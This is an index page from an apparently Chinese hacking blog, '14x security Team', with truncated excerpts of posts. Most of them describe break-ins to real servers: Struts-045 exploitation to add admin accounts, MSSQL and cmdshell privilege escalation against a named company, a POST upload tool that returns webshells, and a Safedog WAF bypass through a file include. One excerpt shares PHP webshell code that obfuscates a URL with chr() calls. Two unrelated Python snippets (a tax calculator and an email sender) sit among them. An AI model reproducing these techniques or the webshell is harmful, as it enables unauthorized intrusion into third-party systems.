14x security Team

展开菜单

绕过管理员安全策略再次进入服务器

绕过管理员安全策略再次进入服务器
绕过管理员安全策略再次进入服务器  之前利用MSSQL提权进入了服务器,现在终端连不上,以为是终端关闭了,结果试试开启远程终端,再把防火墙关掉再次连接,成功发现用户密码错误修改下密码即可发现多了一个向日葵360...

post upload发包工具精简版

post upload发包工具精简版
post upload发包工具精简版没事挖了一个通用上传oday,就写了这么一个工具工具原理就是向网站发送构造的POST上传数据包,返回一个shell地址...

struts-045秒提windows 2016服务器

struts-045秒提windows 2016服务器
struts-045秒提windos server 2016服务器有时候只要看到.action  index.action . login.action都可以试试struts遇到一台没打补丁的机器,windos server 2016直接添加管理号,进入服务器...

cmdshell降权峰回路转提权window 2003服务器过程

cmdshell降权峰回路转提权window 2003服务器过程
cmdshell降权峰回路转提权window 2003服务器过程好久没写文章了,今天带来一篇cmdshell降权峰回路转提权window 2003服务器过程目标:一家江苏计算机公司架构类型:aspx初步发现有未授权访问但是上传无法返回图片地址发现有fck,无奈走一波可能有解析漏洞直接访问一切都很顺利直接getshell接下来,就是提权了额发现出问题了,asp不能创建对象,上传了一个aspx试试aspx权限应该够大,但是拒绝访问,看下可写目录直接试试传一个cmd.exe可以执行...

一款不错的php马

一款不错的php马
<?php$password='xxz';//鐧诲綍瀵嗙爜//----------鏈▼搴忓畬缇庢敮鎸丳HP 4, PHP 5, PHP 7------------------//$c="chr";session_start();if(empty($_SESSION['PhpCode'])){$url=$c(104).$c(116).$c(116).$c(112).$c(58);$url.=$c(47).$c(47)....

python工资纳税程序

python工资纳税程序
python工资纳税程序before=float(input("请输入你的税前工资:"))m1=float(input("请输入社保扣除工资:"))ss=0ys=before-m1-5000if ys<=3000 and ys<0:  ss=ys*0.03-0elif ys<=12000:    ss=ys*0.1-210elif ys<=25000:  ...

php简单文件包含绕过安全狗getshell

php简单文件包含绕过安全狗getshell
php简单文件包含绕过安全狗getshell已经拿到站点管理权之后上传php文件被安全狗拦截这时候需要简单利用文件包含绕过安全狗getshell<?php include 'x.txt';?> x.txt写入大马内容...

python smtplib邮件发送程序

python smtplib邮件发送程序
python smtplib邮件发送程序import smtplibfrom email.mime.text import MIMETextmsg_from="xx" pwd=""to="xx"subject="python邮件版"conntent="xxxx"msg=MIMEText(conntent)msg["Subject"]=subjectmsg[&...